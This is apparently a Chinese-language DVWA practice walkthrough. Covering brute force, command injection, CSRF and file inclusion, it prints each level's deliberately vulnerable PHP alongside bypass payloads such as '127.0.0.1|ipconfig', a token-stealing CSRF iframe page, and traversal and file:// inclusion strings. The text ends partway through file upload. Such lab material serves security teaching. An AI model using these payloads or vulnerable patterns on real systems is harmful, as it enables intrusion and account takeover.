Brute Force
Low
<?php
//检查变量是否设置(先看有没有Login参数)
if( isset( $_GET[ 'Login' ] ) ) {
//获取密码,存入pass变量中
$user = $_GET[ 'username' ];
//获取密码
$pass = $_GET[ 'password' ];
//将密码使用md5加密
$pass = md5( $pass );
//构建SQL语句,查询结果保存在query变量中
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//数据库查询,将查询结果保存在result变量中,查到了,保存用户具体信息;未查到,就在页面上输入错误结果,result为空
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//结果存在并且返回一条记录,说明查到了
if( $result && mysqli_num_rows( $result ) == 1 ) {
//查询结果关联数据row,row已经变成键值对
$row = mysqli_fetch_assoc( $result );
//获取登录成功图片
$avatar = $row["avatar"];
// Login successful
//登录成功,输出到页面上
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
//未查到,错误信息输出到页面上
echo "<pre><br />Username and/or password incorrect.</pre>";
}
//释放资源
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
先随便输入账号密码,使用BP抓包
选择send to intruder
选用clear清除掉现有的,再选中自己试的密码添加
添加密码字典
开始爆破,长度不一样的一般即为密码
可知密码为password
medium
<?php
//是否存在Login变量(标签里面的name),检查是否存在Login按钮
if( isset( $_GET[ 'Login' ] ) ) {
// Sanitise username input
//获取用户名,存入user变量里
$user = $_GET[ 'username' ];
//user中x00,n,r,,’,”,x1a转义,防SQL注入
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
//pass中x00,n,r,,’,”,x1a转义,防SQL注入
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//密码加密
$pass = md5( $pass );
// Check the database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( 2 );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
代码审计:参数username和password是直接通过GET方式获取,并未做任何过滤,满足if条件(Login变量是否设置)就可以进行参数利用
漏洞利用:使用burp设置跑参点,加载字典使用穷举法猜解出用户口令
先随便输入账号密码,使用BP抓包
选择send to intruder
选用clear清除掉现有的,再选中自己试的密码添加
添加密码字典
开始爆破,长度不一样的一般即为密码
可知密码为password
high
<?php
if( isset( $_POST[ 'Login' ] ) && isset ($_POST['username']) && isset ($_POST['password']) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_POST[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_POST[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Default values
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
// Check the database (Check user information)
//如果在锁定状态就输出已被锁定
$data = $db->prepare( 'SELECT failed_login, last_login FROM users WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// Check to see if the user has been locked out.
if( ( $data->rowCount() == 1 ) && ( $row[ 'failed_login' ] >= $total_failed_login ) ) {
// User locked out. Note, using this method would alLow for user enumeration!
//echo "<pre><br />This account has been locked due to too many incorrect logins.</pre>";
// Calculate when the user would be alLowed to login again
//计算用户能再次登录的时间
$last_login = strtotime( $row[ 'last_login' ] );
$timeout = $last_login + ($lockout_time * 60);
$timenow = time();
/*
print "The last login was: " . date ("h:i:s", $last_login) . "<br />";
print "The timenow is: " . date ("h:i:s", $timenow) . "<br />";
print "The timeout is: " . date ("h:i:s", $timeout) . "<br />";
*/
// Check to see if enough time has passed, if it hasn't locked the account
if( $timenow < $timeout ) {
$account_locked = true;
// print "The account is locked<br />";
}
}
// Check the database (if username matches the password)
$data = $db->prepare( 'SELECT * FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR);
$data->bindParam( ':password', $pass, PDO::PARAM_STR );
$data->execute();
$row = $data->fetch();
// If its a valid login...
if( ( $data->rowCount() == 1 ) && ( $account_locked == false ) ) {
// Get users details
$avatar = $row[ 'avatar' ];
$failed_login = $row[ 'failed_login' ];
$last_login = $row[ 'last_login' ];
// Login successful
echo "<p>Welcome to the password protected area <em>{$user}</em></p>";
echo "<img src=\"{$avatar}\" />";
// Had the account been locked out since last login?
if( $failed_login >= $total_failed_login ) {
echo "<p><em>Warning</em>: Someone might of been brute forcing your account.</p>";
echo "<p>Number of login attempts: <em>{$failed_login}</em>.<br />Last login attempt was at: <em>${last_login}</em>.</p>";
}
// Reset bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = "0" WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
} else {
// Login failed
sleep( rand( 2, 4 ) );
// Give the user some feedback
echo "<pre><br />Username and/or password incorrect.<br /><br/>Alternative, the account has been locked because of too many failed logins.<br />If this is the case, <em>please try again in {$lockout_time} minutes</em>.</pre>";
// Update bad login count
$data = $db->prepare( 'UPDATE users SET failed_login = (failed_login + 1) WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Set the last login time
$data = $db->prepare( 'UPDATE users SET last_login = now() WHERE user = (:user) LIMIT 1;' );
$data->bindParam( ':user', $user, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
bp+pitchfock
对于有token来防护csrf的,可以使用到这个功能进行爆破,因为每次用户的token都是随机的。
选择攻击模式为pitchfock,并且给要破解的token项带上美元符号
选择options将线程数设置为1(递归查找,将上一个请求的相应token作为下一个请求的payload的token,所以就不并发)
Grep-Extract模块进行相应设置,获取相应的token,截取相应token的前后标识,用于下次截取
Redirections模块设置允许重定向,选择always
点击payload的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中
开始爆破
具体过程
抓包,发现有token
使用intruder,将密码和token作为变量,同时攻击模式使用Pitchfork
找到Grep-Extract模块进行相应设置
点击1Options->2Add->3刷新->4复制token(493d13e584836842e3522e7d6fe778a4)-> 56由空白出现内容->7OK
找到Redirections模块设置允许重定向,选择always
点击payload,选择第一项的密码本与低等级的相同,第二项的时候选择Recursive grep 并且把之前得到的token值粘贴到下方的方框中。
将payloads1导入字典后就开始攻击吧
开始爆破
得到密码
impossible
<?php
if( isset( $_GET[ 'Login' ] ) ) {
// Check Anti-CSRF token
//注册token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Sanitise username input
$user = $_GET[ 'username' ];
$user = stripslashes( $user );
$user = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $user ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitise password input
$pass = $_GET[ 'password' ];
$pass = stripslashes( $pass );
$pass = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass = md5( $pass );
// Check database
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
if( $result && mysqli_num_rows( $result ) == 1 ) {
// Get users details
$row = mysqli_fetch_assoc( $result );
$avatar = $row["avatar"];
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
}
else {
// Login failed
sleep( rand( 0, 3 ) );
echo "<pre><br />Username and/or password incorrect.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到Impossible级别的代码加入了可靠的防爆破机制,当检测到频繁的错误登录后,系统会将账户锁定,当用户登录失败达到3次,将会锁住账号15秒,爆破也就无法继续。
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入,这是因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令。
Command Injection(Low)命令注入
Low
审计代码,可以发现直接针对操作系统类型进行ping,没有对输入的数据作出任何过滤,非常危险。
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
//获取IP字段
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
//确定操作系统并执行ping命令
// stristr(string,search,before_search)
//stristr函数搜索字符串在另一字符串中的第一次出现,返回字符串的剩余部分(从匹配//点),如果未找到所搜索的字符串,则返回FALSE。参数string规定被搜索的字符串,参//数search规定要搜索的字符串(如果该参数是数字,则搜索匹配该数字对应的ASCII值//的字符),可选参数before_true为布尔型,默认为“false”,如果设置为“true”,函//数将返回search参数第一次出现之前的字符串部分。
// php_uname(mode)
//这个函数会返回运行php的操作系统的相关描述,参数mode可取值”a” (此为默认,包//含序列”s n r v m”里的所有模式),”s ”(返回操作系统名称),”n”(返回主机名),” //r”(返回版本名称),”v”(返回版本信息), ”m”(返回机器类型)。
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
在文本框里输入”127.0.0.1”,得到以下系统中所有的用户
发现乱码
解决此问题的方法:在DVWA-master\dvwa\includes目录下找到dvwaPage.inc.php文件中所有的”charset=utf-8”,修改为”charset=gb2312”,即可
127.0.0.1
127.0.0.1&&dir
medium
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
//设置命令黑名单,里面包含&&和;
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
代码审计:通过设置黑名单过滤特殊符号,防御恶意参数的构造,但是仍然可以通过等效符号进行代替绕过黑名单,达到命令执行的效果
漏洞利用:构造Poc与low安全级别一致,区别在于用等效的符号绕过黑名单,同样达到命令执行的效果,拿webshell,连webshell管理工具,操作服务器
DOS中&用法
这里需要注意的是”&&”与” &”的区别:
Command 1&&Command 2
先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
Command 1&Command 2
先执行Command 1,不管是否成功,都会执行Command 2
相比Low级别的代码,服务器端对ip参数做了一定过滤,即把”&&” 、”;”删除,本质上采用的是黑名单机制,因此依旧存在安全问题。
因为被过滤的只有”&&”与” ;”,所以”&”不会受影响。
输入127.0.0.1 | dir
输入127.0.0.1&ipconfig
high
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
//设置命令黑名单,里面包含& ;| - $ ( ) \ ' ||
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
//替换成空
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
DOS中符号总结
l & 组合命令
语法:第一条命令 & 第二条命令 [& 第三条命令…]
&、&&、||为组合命令,顾名思义,就是可以把多个命令组合起来当一个命令来执行。这在批处理脚本里是允许的,而且用的非常广泛。因为批处理认行不认命令数目。
这个符号允许在一行中使用 2 个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。
这里&两边的命令是顺序执行的,从前往后执行。
比如:
dir z:\ & dir y:\ & dir c:\
以上命令会连续显示 z,y,c 盘的内容,不理会该盘是否存在
l Command 1 | Command 2
“|”是管道符,表示将Command 1的输出作为Command 2的输入,并且只打印Command 2执行的结果。
l ; 分号
分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序仍会执行。
例:dir c:\;d:\;e:\1.txt
以上命令相当于
dir c:\
dir d:\
dir e:\1.txt
其中文件 e:\1.txt 不存在,但 e 盘存在,有错误提示,但命令仍会执行。
如果目标路径不存在,则终止执行;如果路径存在,仅文件不存在,则继续执行。
相比Medium级别的代码,High级别的代码进一步完善了黑名单,但由于黑名单机制的局限性,我们依然可以绕过。
黑名单看似过滤了所有的非法字符,但仔细观察到是把”| ”(注意这里|后有一个空格)替换为空字符,于是 ”|”成了“漏网之鱼”。
127.0.0.1|ipconfig
impossible
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
// stripslashes函数会删除字符串string中的反斜杠,返回已剥离反斜杠的字符串。
$target = stripslashes( $target );
// Split the IP into 4 octects
//将具体的IP以.分隔
// explode(separator,string,limit)
把字符串打散为数组,返回字符串的数组。参数separator规定在哪里分割字符串,参数string是要分割的字符串,可选参数limit规定所返回的数组元素的数目。
$octet = explode( ".", $target );
// Check IF each octet is an integer
//检查是否分成了4块,并且每一块是否都为数字
// s_numeric(string)
检测string是否为数字或数字字符串,如果是返回TRUE,否则返回FALSE。
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
Impossible级别的代码加入了Anti-CSRF token,同时对参数ip进行了严格的限制,只有诸如“数字.数字.数字.数字”的输入才会被接收执行,因此不存在命令注入漏洞。
CSRF跨站请求伪造
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。
Low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
//获取两个输入框的密码
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
//查看两次输入的是否一致
if( $pass_new == $pass_conf ) {
// They do!
//如果一致就直接插入数据库
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
我们先随便写两个不一样的密码
再打开一个网页,输入链接,可以看到,直接跳转到了密码成功的页面了。
medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
抓包
打开另一个页面,在顶部URL中自己输入如下的链接,用burpsuite进行抓包
dvwa/vulnerabilities/csrf/?password_new=1234&password_conf=1234&Change=Change#
可以看到,当我们直接打开另一个页面,直接输入URL的时候,请求包的头中并没有Referer字段,所以不能修改成功。
那我们可以自己加一个Referer字段,然后值只要设置成包含了主机头127.0.0.1就行了
可以看到,已经成功修改密码了
high
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
//可以看到加入了token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
客户端访问修改密码页面->服务器发一个token->用户修改参数的请求中加入了token参数->服务器验证token->成功修改
相当于把流程修改了,token的生成是随机的
随便输入密码验证一下,可以看到,在请求的URL中最末尾加入了token。
通过构造这样一个attack函数
当受害者点击进入这个页面,脚本会通过一个看不见框架偷偷访问修改密码的页面,获取页面中的token,并向服务器发送改密请求,以完成CSRF攻击。
<script type=" text/javascript">
function attack ()
{
document. getElementsByName(' user_ token' ) [0]. value-document.getElementById("hack"). contentWindow. document. getElementsByName (' user_ token' ) [0]. value;
document. getElementById(" transfer "). submit() ;
}
</script>
<iframe src="http://127.0.0. 1 :8080/dvva/vulnerabilities/csrf" id= "hack" border="0"style="display:none;" >
</iframe>
<body onload="attack()">
<forn method=" GET" id=" transfer“
action= "http://127.0.0. 1 :8080/dvwa/vulnerabilities/csrf" >
<input type="hidden" name=" password _new" value="password">
<input type=" hidden" nane="password _conf" value=" password">
<input type= "hidden "name= "user_token" value="!">
<input type="hidden" nane="Change" value="Change">
</form>
</body>
impossible
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
//输入原来的密码
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击
File Inclusion文件包含
文件包含是指调用文件,可以调用本地的文件,也可以调用远程的文件
一.File Inclusion,意思是文件包含(漏洞),是指当服务器开启alLow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的alLow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。
包含,往往用在复用的地方,比如你写了一个连接数据库的方法,我直接ctrl+c,ctrl+v就可以用,不用我自己再写,当然是使用include关键字来引用你的方法
二、文件包含漏洞用到的函数
require:找不到被包含的文件,报错,并且停止运行脚本。
include:找不到被包含的文件,只会报错,但会继续运行脚本。
require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。
include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。
DVWA是通过文件包含,来调用file1.php/file2.php/file3.php
Low
<?php
// The page we wish to display
//直接获取page参数,未做任何过滤
$file = $_GET[ 'page' ];
?>
查看phpinfo.php文件,输入网址http://127.0.0.1/dvwa/vulnerabilities/fi/?page=D:\phpstudy_pro\WWW\DVWA\phpinfo.php
包含一个不存在的文件 xixi.php ,看看会发生什么情况!
可以看到,发生了报错,并且把网站的路径都给暴露出来了。
第一行的那个Warning就是找不到指定的xixi.php文件,也就是包含不到指定的文件,所Warning。
而第二行的警告是因为前面没有找到指定文件,所以包含的时候就出警告了。
在目录中创建一个测试文件test.txt,文件内容是“<?php system('ipconfig');?>”,通过文件包含漏洞可以直接查看到该文件内容。
medium
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到,代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生,也过滤了 ../ 和 ..\ 防止了进行目录切换的包含。
但是使用 str_replace 函数进行过滤是很不安全的,因为可以使用双写绕过。例如,我们包含 hthttp://tp://xx 时,str_replace 函数只会过滤一个 http:// ,所以最终还是会包含到 http://xx
我们先访问一下http://127.0.0.1/dvwa1/vulnerabilities/fi/?page=http://127.0.0.1/phpinfo.php
发现报错,原因很简单,因为代码使用 str_replace函数 对http:// 和 https://进行了过滤,防止了远程包含漏洞的产生
所以,我们可以试试访问该链接
http://dvwa/vulnerabilities/fi/?page=....//....//phpinfo.php
回显正常
high
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
file协议
中文意思:本地文件传输协议
什么是File:File协议主要用于访问本地计算机中的文件,就如同在Windows资源管理器中打开文件一样。
如何使用File:要使用File协议,基本的格式如下:file:///文件路径,比如要打开F盘flash文件夹中的1.swf文件,那么可以在资源管理器或浏览器地址栏中输入:file:///f:/flash/1.swf回车。
High级别的代码规定只能包含file开头的文件,看似安全,不幸的是我们依然可以利用file协议绕过防护策略。file协议其实我们并不陌生,当我们用浏览器打开一个本地文件时,用的就是file协议,构造如下URL
http://dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/DVWA/php.ini
impossible
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only alLow include.php or file{1..3}.php
//file变量只能为include.php、file1、file2、file3其中一个
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到,Impossible级别的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
File Upload文件上传
File Upload,即文件上传漏洞,通常是由于对上传文件的类型、内容没有进行严格的过滤、检查,使得攻击者可以通过上传木马获取服务器的webshell权限,因此文件上传漏洞带来的危害常常是毁灭性的。
Low
<?php
if( isset( $_POST[ 'Upload' ] ) ) {
// Where are we going to be writing to?
//文件的目标路径hackable/uploads/,也就是文件上传的位置
$target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
// basename(path,suffix)
函数返回路径中的文件名部分,如果可选参数suffix为空,则返回的文件名包含后缀名,反之不包含后缀名。
$target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
// Can we move the file to the upload folder?
//移动用户上传文件至目标路径
